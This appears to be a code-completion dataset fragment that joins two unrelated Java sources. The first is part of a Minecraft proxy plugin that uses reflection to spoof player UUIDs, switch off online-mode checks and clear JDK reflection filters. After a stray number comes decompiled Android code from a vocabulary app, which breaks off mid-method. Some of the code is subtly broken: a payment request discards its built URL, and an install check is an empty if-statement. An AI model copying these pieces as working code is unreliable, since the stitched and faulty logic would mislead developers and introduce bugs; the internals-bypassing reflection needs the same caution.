{\n\t\t\tObject networkManager = context.channel().pipeline().get(\"packet_handler\");\n\t\t\ttry {\n\t\t\t\tClass loginListenerProxyClass = LoginListenerProxy.get(networkManager);\n\t\t\t\tConstructor loginListenerProxyConstructor = loginListenerProxyClass.getConstructors()[0];\n\t\t\t\tObject offlineMinecraftServer = OfflineInjector.getOfflineMinecraftServer();\n\t\t\t\tObject loginListenerProxy = loginListenerProxyConstructor.newInstance(offlineMinecraftServer, networkManager);\n\t\t\t\tloginListenerProxyClass.getField(\"injectUuidCallback\").set(loginListenerProxy, (Runnable) () -> {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tField profileField = LoginListenerProxy.getProfileField();\n\t\t\t\t\t\tGameProfile profile = (GameProfile) profileField.get(loginListenerProxy);\n\t\t\t\t\t\tLoginPayload payload = payloadCache.getByName(profile.getName());\n\t\t\t\t\t\tprofile = new GameProfile(payload.getUUID(), profile.getName());\n\t\t\t\t\t\tfor (LoginPayload.Property payloadProperty : payload.getProperties()) {\n\t\t\t\t\t\t\tProperty property = new Property(payloadProperty.getName(), payloadProperty.getValue(), payloadProperty.getSignature());\n\t\t\t\t\t\t\tprofile.getProperties().put(payloadProperty.getName(), property);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tprofileField.set(loginListenerProxy, profile);\n\t\n\t\t\t\t\t\tField hostnameField = LoginListenerProxy.getLoginListenerClass().getField(\"hostname\");\n\t\t\t\t\t\thostnameField.set(loginListenerProxy, payload.getHost());\n\t\t\t\t\t} catch (Exception exception) {\n\t\t\t\t\t\texception.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tLoginListenerProxy.getPacketListenerField().set(networkManager, loginListenerProxy);\n\t\t\t} catch(Exception exception) {\n\t\t\t\tif (this.connectPlugin.getServer().getPluginManager().getPlugin(\"ProtocolSupport\") == null) {\n\t\t\t\t\tthrow exception;\n\t\t\t\t}\n\t\t\t\tif (LoginListenerProxy.getPacketListenerField() == null) {\n\t\t\t\t\tcontext.close();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tObject packetListener = LoginListenerProxy.getPacketListenerField().get(networkManager);\n\t\t\t\tGameProfile profile = ReflectionUtils.getPrivateField(object.getClass(), object, GameProfile.class, \"a\");\n\t\t\t\tLoginPayload payload = payloadCache.getByName(profile.getName());\n\t\t\t\tLoginPayload.Property[] payloadProperties = payload.getProperties();\n\t\t\t\tProperty[] properties = new Property[payloadProperties.length];\n\t\t\t\tfor (int i = 0; i < properties.length; i++) {\n\t\t\t\t\tLoginPayload.Property payloadProperty = payloadProperties[i];\n\t\t\t\t\tProperty property = new Property(payloadProperty.getName(), payloadProperty.getValue(), payloadProperty.getSignature());\n\t\t\t\t\tproperties[i] = property;\n\t\t\t\t}\n\t\t\t\tReflectionUtils.setFinalField(networkManager.getClass(), networkManager, \"spoofedUUID\", payload.getUUID());\n\t\t\t\tReflectionUtils.setFinalField(networkManager.getClass(), networkManager, \"spoofedProfile\", properties);\n\t\t\t\ttry {\n\t\t\t\t\tReflectionUtils.setFinalField(packetListener.getClass().getSuperclass().getSuperclass(), packetListener, \"isOnlineMode\", false);\n\t\t\t\t} catch(NoSuchFieldException exception1) {\n\t\t\t\t\tReflectionUtils.setFinalField(packetListener.getClass().getSuperclass(), packetListener, \"isOnlineMode\", false);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception exception2) {\n\t\t\texception2.printStackTrace();\n\t\t\tcontext.close();\n\t\t}\n\t}\n\n\tpublic boolean isEnabled() {\n\t\treturn this.connectPlugin.isEnabled();\n\t}\n\n}", "public class LoginPayloadCache {\n\n\tprivate Cache<String, LoginPayload> payloads = CacheBuilder.newBuilder().expireAfterWrite(30, TimeUnit.SECONDS).build();\n\t\n\tpublic void submit(LoginPayload payload) {\n\t\tthis.payloads.put(payload.getName(), payload);\n\t}\n\t\n\tpublic LoginPayload getByName(String name) {\n\t\treturn this.payloads.getIfPresent(name);\n\t}\n\t\n}", "public class ReflectionUtils {\n\n\tprivate static final Field FIELD_MODIFIERS;\n\tprivate static final Field FIELD_ACCESSSOR;\n\tprivate static final Field FIELD_ACCESSSOR_OVERRIDE;\n\tprivate static final Field FIELD_ROOT;\n\n\tstatic {\n\t\tif (!System.getProperty(\"java.version\").startsWith(\"1.8\")) {\n\t\t\ttry {\n\t\t\t\tgetFilterMap(Field.class).clear();\n\t\t\t} catch (Exception exception) {\n\t\t\t\texception.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t\tField fieldModifiers = null;\n\t\tField fieldAccessor = null;\n\t\tField fieldAccessorOverride = null;\n\t\tField fieldRoot = null;\n\t\ttry {\n\t\t\tfieldModifiers = Field.class.getDeclaredField(\"modifiers\");\n\t\t\tfieldModifiers.setAccessible(true);\n\t\t\tfieldAccessor = Field.class.getDeclaredField(\"fieldAccessor\");\n\t\t\tfieldAccessor.setAccessible(true);\n\t\t\tfieldAccessorOverride = Field.class.getDeclaredField(\"overrideFieldAccessor\");\n\t\t\tfieldAccessorOverride.setAccessible(true);\n\t\t\tfieldRoot = Field.class.getDeclaredField(\"root\");\n\t\t\tfieldRoot.setAccessible(true);\n\t\t} catch (Exception exception) {\n\t\t\texception.printStackTrace();\n\t\t}\n\t\tFIELD_MODIFIERS = fieldModifiers;\n\t\tFIELD_ACCESSSOR = fieldAccessor;\n\t\tFIELD_ACCESSSOR_OVERRIDE = fieldAccessorOverride;\n\t\tFIELD_ROOT = fieldRoot;\n\t}\n\n\tpublic static void setFinalField(Class<?> objectClass, Object object, String fieldName, Object value) throws Exception {\n\t\tField field = objectClass.getDeclaredField(fieldName);\n\t\tfield.setAccessible(true);\n\n\t\tif (Modifier.isFinal(field.getModifiers())) {\n\t\t\tFIELD_MODIFIERS.setInt(field, field.getModifiers() & ~Modifier.FINAL);\n\t\t\tField currentField = field;\n\t\t\tdo {\n\t\t\t\tFIELD_ACCESSSOR.set(currentField, null);\n\t\t\t\tFIELD_ACCESSSOR_OVERRIDE.set(currentField, null);\n\t\t\t} while((currentField = (Field) FIELD_ROOT.get(currentField)) != null);\n\t\t}\n\t\t\n\t\tfield.set(object, value);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T getPrivateField(Class<?> objectClass, Object object, Class<T> fieldClass, String fieldName) throws Exception {\n\t\tField field = objectClass.getDeclaredField(fieldName);\n\t\tfield.setAccessible(true);\n\t\treturn (T) field.get(object);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T extends AccessibleObject & Member> Map<Class<?>, String[]> getFilterMap(Class<T> clazz) throws Exception {\n\t\tif (Constructor.class.isAssignableFrom(clazz)) {\n\t\t\treturn null;\n\t\t}\n\t\tMethod getDeclaredFields0M = Class.class.getDeclaredMethod(\"getDeclaredFields0\", boolean.class);\n\t\tgetDeclaredFields0M.setAccessible(true);\n\t\tField[] fields = (Field[]) getDeclaredFields0M.invoke(Class.forName(\"jdk.internal.reflect.Reflection\"), false);\n\t\tField field = null;\n\t\tfor (Field f : fields) {\n\t\t\tif (f.getName().equals(clazz.getSimpleName().toLowerCase() + \"FilterMap\")) {\n\t\t\t\tfield = f;\n\t\t\t}\n\t\t}\n\t\tMethod setAccessible0M = AccessibleObject.class.getDeclaredMethod(\"setAccessible0\", boolean.class);\n\t\tsetAccessible0M.setAccessible(true);\n\t\tsetAccessible0M.invoke(field, true);\n\t\treturn (Map<Class<?>, String[]>) field.get(null);\n\t}\n\n}" ]
import lilypad.bukkit.connect.hooks.SpigotHook; import lilypad.bukkit.connect.injector.HandlerListInjector; import lilypad.bukkit.connect.injector.NettyInjector; import lilypad.bukkit.connect.injector.OfflineInjector; import lilypad.bukkit.connect.login.LoginListener; import lilypad.bukkit.connect.login.LoginNettyInjectHandler; import lilypad.bukkit.connect.login.LoginPayloadCache; import lilypad.bukkit.connect.protocol.*; import lilypad.bukkit.connect.util.ReflectionUtils; import lilypad.client.connect.api.Connect; import lilypad.client.connect.lib.ConnectImpl; import org.bukkit.configuration.file.YamlConfiguration; import org.bukkit.event.player.AsyncPlayerPreLoginEvent; import org.bukkit.event.player.PlayerLoginEvent; import org.bukkit.plugin.ServicePriority; import org.bukkit.plugin.java.JavaPlugin; import java.net.InetSocketAddress;
package lilypad.bukkit.connect; public class ConnectPlugin extends JavaPlugin { private LoginPayloadCache payloadCache = new LoginPayloadCache(); private SpigotHook spigotHook = new SpigotHook(); private Connect connect; private ConnectThread connectThread; private String securityKey; private int commonPort; private static IProtocol protocol; @Override public void onLoad() { super.getConfig().options().copyDefaults(true); super.saveConfig(); super.reloadConfig(); } @Override public void onEnable() { String version = super.getServer().getClass().getPackage().getName().replace(".", ",").split(",")[3]; switch (version) { case "v1_8_R1": protocol = new Protocol1_8_R1(); break; case "v1_8_R2": case "v1_8_R3": protocol = new Protocol1_8_R2(); break; case "v1_9_R1": protocol = new Protocol1_9_R1(); break; case "v1_9_R2": protocol = new Protocol1_9_R2(); break; case "v1_10_R1": protocol = new Protocol1_10_R1(); break; case "v1_11_R1": protocol = new Protocol1_11_R1(); break; case "v1_12_R1": protocol = new Protocol1_12_R1(); break; case "v1_14_R1": protocol = new Protocol1_14_R1(); break; case "v1_15_R1": protocol = new Protocol1_15_R1(); break; case "v1_16_R1": case "v1_16_R2": case "v1_16_R3": protocol = new Protocol1_16_R1(); break; case "v1_17_R1": protocol = new Protocol1_17_R1(); break; default: System.out.println("[Connect] Unable to start plugin - unsupported version (" + version + "). Please retrieve the newest version at http://lilypadmc.org"); return; } try { // Modify handshake packet max string size // -- as of 1.8 I do not believe this is necessary anymore /*if (!protocol.getGeneralVersion().equals("1.10")) { PacketInjector.injectStringMaxSize(super.getServer(), "handshaking", 0x00, 65535); }*/ // Handle LilyPad handshake packet commonPort = NettyInjector.injectAndFindPort(super.getServer(), new LoginNettyInjectHandler(this, payloadCache)); // If we are in online-mode if (super.getServer().getOnlineMode()) { // Prioritize our events HandlerListInjector.prioritize(this, AsyncPlayerPreLoginEvent.class); HandlerListInjector.prioritize(this, PlayerLoginEvent.class); // Pseudo offline mode OfflineInjector.inject(super.getServer()); } } catch(Exception exception) { exception.printStackTrace(); System.out.println("[Connect] Unable to start plugin - unsupported version?"); return; } this.connect = new ConnectImpl(new ConnectSettingsImpl(super.getConfig()), this.getInboundAddress().getAddress().getHostAddress()); this.connectThread = new ConnectThread(this); super.getServer().getServicesManager().register(Connect.class, this.connect, this, ServicePriority.Normal);
super.getServer().getPluginManager().registerEvents(new LoginListener(this, payloadCache), this);
4
AndyGu/ShanBay
src/com/shanbay/account/SignupActivityHelper.java
[ "public class BaseActivityHelper<T extends APIClient>\n{\n protected final String TAG = LogUtils.makeLogTag(getClass());\n protected BaseActivity<T> bActivity;\n protected T mClient;\n\n public BaseActivityHelper(BaseActivity<T> paramBaseActivity)\n {\n this.bActivity = paramBaseActivity;\n this.mClient = getClient();\n }\n\n public boolean bindService(Intent paramIntent, ServiceConnection paramServiceConnection, int paramInt)\n {\n return this.bActivity.bindService(paramIntent, paramServiceConnection, paramInt);\n }\n\n public void checkUpdate()\n {\n this.bActivity.checkUpdate();\n }\n\n protected void d(String paramString)\n {\n LogUtils.LOGD(this.TAG, paramString);\n }\n\n protected void d(String paramString, Throwable paramThrowable)\n {\n LogUtils.LOGE(this.TAG, paramString, paramThrowable);\n }\n\n public void dismissProgressDialog()\n {\n this.bActivity.dismissProgressDialog();\n }\n\n public View findViewById(int paramInt)\n {\n return this.bActivity.findViewById(paramInt);\n }\n\n public void finish()\n {\n this.bActivity.finish();\n }\n\n public T getClient()\n {\n return this.bActivity.getClient();\n }\n\n public Intent getIntent()\n {\n return this.bActivity.getIntent();\n }\n\n public LayoutInflater getLayoutInflater()\n {\n return this.bActivity.getLayoutInflater();\n }\n\n public Resources getResources()\n {\n return this.bActivity.getResources();\n }\n\n public SharedPreferences getSharedPreferences(String paramString, int paramInt)\n {\n return this.bActivity.getSharedPreferences(paramString, paramInt);\n }\n\n public String getString(int paramInt)\n {\n return this.bActivity.getString(paramInt);\n }\n\n public boolean handleCommonException(ModelResponseException paramModelResponseException)\n {\n return this.bActivity.handleCommonException(paramModelResponseException);\n }\n\n @SuppressLint(\"NewApi\")\n public void onBackPressed()\n {\n this.bActivity.onBackPressed();\n }\n\n public void onCreate(Bundle paramBundle)\n {\n }\n\n public void onDestroy()\n {\n }\n\n public boolean onOptionsItemSelected(MenuItem paramMenuItem)\n {\n return false;\n }\n\n public void onPause()\n {\n }\n\n public void onRestoreInstanceState(Bundle paramBundle)\n {\n }\n\n public void onResume()\n {\n }\n\n public void onSaveInstanceState(Bundle paramBundle)\n {\n }\n\n public void onStart()\n {\n }\n\n public void onStop()\n {\n }\n\n public void setContentView(int paramInt)\n {\n this.bActivity.setContentView(paramInt);\n }\n\n public AlertDialog showExceptionDialog(ModelResponseException paramModelResponseException)\n {\n return this.bActivity.showExceptionDialog(paramModelResponseException);\n }\n\n public AlertDialog showExceptionDialog(ModelResponseException paramModelResponseException, boolean paramBoolean)\n {\n return this.bActivity.showExceptionDialog(paramModelResponseException, paramBoolean);\n }\n\n public void showProgressDialog()\n {\n this.bActivity.showProgressDialog();\n }\n\n public void showProgressDialog(String paramString)\n {\n this.bActivity.showProgressDialog(paramString);\n }\n\n public void showToast(int paramInt)\n {\n this.bActivity.showToast(paramInt);\n }\n\n public void showToast(String paramString)\n {\n this.bActivity.showToast(paramString);\n }\n\n public void startActivity(Intent paramIntent)\n {\n this.bActivity.startActivity(paramIntent);\n }\n\n public void unbindService(ServiceConnection paramServiceConnection)\n {\n this.bActivity.unbindService(paramServiceConnection);\n }\n}", "public abstract class ShanbayActivity<T extends APIClient> extends BaseActivity<T>\n{\n public void home()\n {\n home(null);\n }\n\n public abstract void home(String paramString);\n\n protected void installApp(App paramApp)\n {\n if (!isFinishing());\n try\n {\n Intent localIntent = new Intent(\"android.intent.action.VIEW\");\n localIntent.setData(Uri.parse(HttpClient.getAbsoluteUrl(paramApp.rateUrl, APIClient.HOST)));\n startActivity(localIntent);\n return;\n }\n catch (Exception localException)\n {\n localException.printStackTrace();\n }\n }\n\n public void logout()\n {\n this.mClient.logout(this, new DataResponseHandler()\n {\n @Override\n public void onFailure(ModelResponseException paramAnonymousModelResponseException, JsonElement paramAnonymousJsonElement)\n {\n if (!ShanbayActivity.this.handleCommonException(paramAnonymousModelResponseException))\n ShanbayActivity.this.showToast(paramAnonymousModelResponseException.getMessage());\n }\n\n @Override\n public void onSuccess(int paramAnonymousInt, JsonElement paramAnonymousJsonElement)\n {\n ShanbayActivity.this.dismissProgressDialog();\n ShanbayActivity.this.onLogout();\n }\n });\n }\n\n public void logoutDialog()\n {\n new AlertDialog.Builder(this).setMessage(R.string.msg_logout).setTitle(R.string.logout).setPositiveButton(R.string.logout, new DialogInterface.OnClickListener()\n {\n public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)\n {\n ShanbayActivity.this.logout();\n }\n }).setNegativeButton(getString(R.string.cancel), null).show();\n }\n\n protected void onDestroy()\n {\n this.mClient.cancelRequest(this, true);\n super.onDestroy();\n }\n\n public abstract void onLogout();\n\n public abstract void onRequestLogin();\n\n @SuppressLint(\"NewApi\")\n public void startApp(App paramApp)\n {\n Intent localIntent = getPackageManager().getLaunchIntentForPackage(paramApp.identifier);\n if (localIntent == null)\n {\n installApp(paramApp);\n return;\n }\n startActivity(localIntent);\n }\n}", "public class APIClient extends HttpClient {\n\tprotected static final String API_ACCONT = \"api/v1/account/\";\n\tstatic final String API_BDC_STATS = \"api/v1/bdc/stats/\";\n\tprotected static final String API_BOOK_COMMENT = \"/api/v1/book/comment/{app_name}/\";\n\tprotected static final String API_BROADCAST = \"api/v1/broadcast/\";\n\tprotected static final String API_CHARGE_ALIPAY = \"api/v1/coins/charge/alipay/\";\n\tprotected static final String API_CHECKIN = \"api/v1/checkin/\";\n\tprotected static final String API_CHECKIN_COMMENT = \"/api/v1/checkin/{checkin_id}/comment/?page={page}\";\n\tprotected static final String API_CHECKIN_DETAIL = \"/api/v1/checkin/{user_id}/{checkin_id}/\";\n\tprotected static final String API_CHECKIN_FAVOR = \"/api/v1/checkin/{checkin_id}/favor/?page={page}&ipp={ipp}\";\n\tprotected static final String API_CHECKIN_LIST = \"api/v1/checkin/user/\";\n\tprotected static final String API_CHECKIN_MAKEUP = \"/api/v1/checkin/makeup/\";\n\tprotected static final String API_CHECKIN_MONTH_CALENDAR_LATEST = \"/api/v1/checkin/calendar/latest/\";\n\tprotected static final String API_CHECKIN_POST_COMMENT = \"/api/v1/checkin/{checkin_id}/comment/\";\n\tprotected static final String API_CHECKIN_POST_FAVOR = \"/api/v1/checkin/{checkin_id}/favor/\";\n\tprotected static final String API_CHECKIN_SHARE = \"/api/v1/checkin/share/\";\n\tprotected static final String API_COMMUNITY_AWARD = \"/api/v1/badger/award/{user_id}\";\n\tprotected static final String API_COMMUNITY_GROUP_MINE_INFO = \"/api/v1/team/member/\";\n\tprotected static final String API_COMMUNITY_GROUP_NOTIFICATION = \"/api/v1/team/notification/\";\n\tprotected static final String API_COMMUNITY_POINT = \"/api/v1/points/{user_id}\";\n\tprotected static final String API_COMMUNITY_TEAM = \"/api/v1/team/{team_id}/\";\n\tprotected static final String API_COMMUNITY_TEAM_MEMBER = \"/api/v1/team/member/?u={user_id}\";\n\tprotected static final String API_DATE = \"api/v1/checkin/date/\";\n\tprotected static final String API_DISPLAY_ANDROID = \"/api/v1/display/devices/android/\";\n\tprotected static final String API_EDIT_BOOK_COMMENT = \"api/v1/book/comment/{comment_id}/\";\n\tprotected static final String API_EXAMPLE = \"api/v1/bdc/example/\";\n\tprotected static final String API_FEEDBACK = \"api/v1/feedback/\";\n\tprotected static final String API_FEEDBACK_REPLY = \"api/v1/feedback/reply/\";\n\tprotected static final String API_GET_BADGE = \"/api/v1/badger/award/\";\n\tprotected static final String API_HELP_CATEGORY = \"/api/v1/help/category/\";\n\tprotected static final String API_HELP_DETAIL = \"/api/v1/help/article/\";\n\tprotected static final String API_INIT = \"api/v1/bdc/init/\";\n\tprotected static final String API_LATEST_BROADCAST = \"api/v1/broadcast/latest/\";\n\tprotected static final String API_LATEST_FEEDBACK = \"api/v1/feedback/\";\n\tprotected static final String API_LEARNING = \"api/v1/bdc/learning/\";\n\tprotected static final String API_LIST_BOOK_COMMENTS = \"/api/v1/book/comment/{app_name}/{book_id}/{comment_type}\";\n\tprotected static final String API_LOGIN = \"api/v1/account/login/\";\n\tprotected static final String API_LOGOUT = \"api/v1/account/logout/\";\n\tprotected static final String API_NOTIFICATION = \"api/v1/notification/\";\n\tprotected static final String API_QUOTA = \"api/v1/quota/applet/\";\n\tprotected static final String API_QUOTE = \"/api/v1/quote/\";\n\tprotected static final String API_READ_SHARE = \"api/v1/read/article/share/\";\n\tprotected static final String API_RECEIVE_BADGE = \"/api/v1/badger/award/badge/{badge_id}\";\n\tprotected static final String API_SEARCH = \"api/v1/bdc/search/\";\n\tprotected static final String API_SHARE = \"api/v1/common/share/\";\n\tprotected static final String API_SHARE_IMAGE = \"/api/v1/mobile/product/image/android\";\n\tprotected static final String API_SHARE_LISTEN_ARTICLE = \"api/v1/listen/article/share/{service}/{article_id}\";\n\tprotected static final String API_SHORT_MESSAGE = \"/api/v1/message/\";\n\tstatic final String API_STATS = \"api/v1/read/stats/\";\n\tprotected static final String API_USER = \"api/v1/common/user/\";\n\tprotected static final String API_USER_ACCOUNT = \"api/v1/coins/useraccount/\";\n\tprotected static final String API_USER_CHECKIN_CALENDAR = \"/api/v1/checkin/user/{user_id}/?v=2&year={year}&month={month}\";\n\tprotected static final String API_USER_CHECKIN_DAYS = \"/api/v1/checkin/user/{user_id}\";\n\tprotected static final String API_VOCABULARY = \"api/v1/bdc/vocabulary/\";\n\tpublic static String DOMAIN = \"www.shanbay.com\";\n\tpublic static String HOST = \"http://www.shanbay.com/\";\n\tprivate static APIClient singleton;\n\n\tpublic static APIClient getInstance() {\n\t\tif (singleton == null)\n\t\t\tsingleton = new APIClient();\n\t\treturn singleton;\n\t}\n\n\tpublic static void setDomain(String paramString) {\n\t\tif ((paramString == null) || (paramString.length() <= 0))\n\t\t\treturn;\n\t\tDOMAIN = paramString;\n\t\tHOST = \"http://\" + paramString + \"/\";\n\t}\n\n\tpublic void add(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"id\", Long.toString(paramLong));\n\t\tpost(paramContext, \"api/v1/bdc/learning/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void award(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/badger/award/{user_id}\".replace(\"{user_id}\",\n\t\t\t\t\t\tLong.toString(paramLong)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void bookComment(Context paramContext, String paramString1,\n\t\t\tlong paramLong, String paramString2, String paramString3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tString str = \"/api/v1/book/comment/{app_name}/\".replace(\"{app_name}\",\n\t\t\t\tparamString1);\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"book_id\", Long.toString(paramLong));\n\t\tlocalRequestParams.put(\"content\", paramString3);\n\t\tlocalRequestParams.put(\"title\", paramString2);\n\t\tpost(paramContext, str, localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\t@Deprecated\n\tpublic void broadcast(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/broadcast/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void cacheSound(String paramString, File paramFile,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\t// if (!paramFile.exists())\n\t\t// {\n\t\t// getAsyncHttpClient().get(paramString, new\n\t\t// SoundCacheResponseHandler(paramFile, paramAsyncHttpResponseHandler));\n\t\t// d(\"cache file fail: \" + paramString);\n\t\t// return;\n\t\t// }\n\t\t// ((SoundCacheResponseHandler)paramAsyncHttpResponseHandler)..onSuccess(0,\n\t\t// paramFile.getAbsolutePath());\n\t\t// d(\"cache file success: \" + paramString);\n\t}\n\n\tpublic void chargeAlipay(Context paramContext, float paramFloat,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tStringBuilder localStringBuilder = new StringBuilder()\n\t\t\t\t.append(\"api/v1/coins/charge/alipay/?value=\");\n\t\tObject[] arrayOfObject = new Object[1];\n\t\tarrayOfObject[0] = Float.valueOf(paramFloat);\n\t\tget(paramContext, String.format(\"%.2f\", arrayOfObject), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkin(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/checkin/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkin(Context paramContext, String paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"user_note\", paramString);\n\t\tpost(paramContext, \"api/v1/checkin/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinComment(Context paramContext, int paramInt,\n\t\t\tlong paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/checkin/{checkin_id}/comment/?page={page}\".replace(\n\t\t\t\t\t\t\"{page}\", paramInt + \"\").replace(\"{checkin_id}\",\n\t\t\t\t\t\tparamLong + \"\"), null, paramAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinCommentList(Context paramContext, long paramLong,\n\t\t\tint paramInt, AsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/checkin/user/\" + paramLong\n\t\t\t\t+ \"/?comment&page=\" + paramInt, null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinDetail(Context paramContext, long paramLong1,\n\t\t\tlong paramLong2,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/checkin/{user_id}/{checkin_id}/\".replace(\"{user_id}\",\n\t\t\t\t\t\tparamLong1 + \"\").replace(\"{checkin_id}\",\n\t\t\t\t\t\tparamLong2 + \"\"), null, paramAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinDiary(Context paramContext, long paramLong,\n\t\t\tString paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"checkin_id\", Long.toString(paramLong));\n\t\tlocalRequestParams.put(\"user_note\", paramString);\n\t\tput(paramContext, \"api/v1/checkin/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinFavor(Context paramContext, int paramInt1,\n\t\t\tint paramInt2, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/checkin/{checkin_id}/favor/?page={page}&ipp={ipp}\"\n\t\t\t\t\t\t.replace(\"{page}\", paramInt1 + \"\")\n\t\t\t\t\t\t.replace(\"{ipp}\", paramInt2 + \"\")\n\t\t\t\t\t\t.replace(\"{checkin_id}\", paramLong + \"\"), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinFavor(Context paramContext, long paramLong1,\n\t\t\tlong paramLong2,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tString str = \"/api/v1/checkin/{checkin_id}/favor/\".replace(\n\t\t\t\t\"{checkin_id}\", paramLong1 + \"\");\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"checkin_user_id\", Long.toString(paramLong2));\n\t\tpost(paramContext, str, localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinFavorList(Context paramContext, long paramLong,\n\t\t\tint paramInt, AsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/checkin/user/\" + paramLong + \"/?favor&page=\"\n\t\t\t\t+ paramInt, null, paramAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinList(Context paramContext, long paramLong, int paramInt,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/checkin/user/\" + paramLong + \"/?page=\"\n\t\t\t\t+ paramInt, null, paramAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinMakeup(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/checkin/makeup/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinMakeup(Context paramContext, String paramString1,\n\t\t\tString paramString2,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"date\", paramString1);\n\t\tlocalRequestParams.put(\"note\", paramString2);\n\t\tpost(paramContext, \"/api/v1/checkin/makeup/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void checkinMonthCalendarLatest(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/checkin/calendar/latest/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void createAccount(Context mContext, String userNameStr,\n\t\t\tString emailStr, String passwordStr, String password2Str,\n\t\t\tAsyncHttpResponseHandler ahrh) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"username\", userNameStr);\n\t\tlocalRequestParams.put(\"email\", emailStr);\n\t\tlocalRequestParams.put(\"password1\", passwordStr);\n\t\tlocalRequestParams.put(\"password2\", password2Str);\n\t\tlocalRequestParams.put(\"agree\", \"1\");\n\t\tpost(mContext, \"api/v1/account/create/\", localRequestParams, ahrh);\n\t}\n\n\tpublic void date(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/checkin/date/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void deleteExample(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tdelete(paramContext, \"api/v1/bdc/example/\" + Long.toString(paramLong),\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void deleteShortMessage(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tdelete(paramContext, \"/api/v1/message/\" + paramLong + \"/\",\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void displayAndroid(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/display/devices/android/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void editBookComment(Context paramContext, long paramLong,\n\t\t\tString 